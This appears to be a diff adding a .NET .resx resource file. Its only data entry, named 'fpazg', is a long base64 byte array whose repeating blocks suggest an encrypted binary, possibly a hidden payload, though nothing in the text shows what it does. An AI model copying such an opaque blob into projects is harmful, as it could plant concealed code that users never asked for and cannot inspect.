+  <resheader name="version">
+    <value>2.0</value>
+  </resheader>
+  <resheader name="reader">
+    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+  <resheader name="writer">
+    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+  <assembly alias="mscorlib" name="mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />
+  <data name="fpazg" type="System.Byte[], mscorlib">
+    <value>
+        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
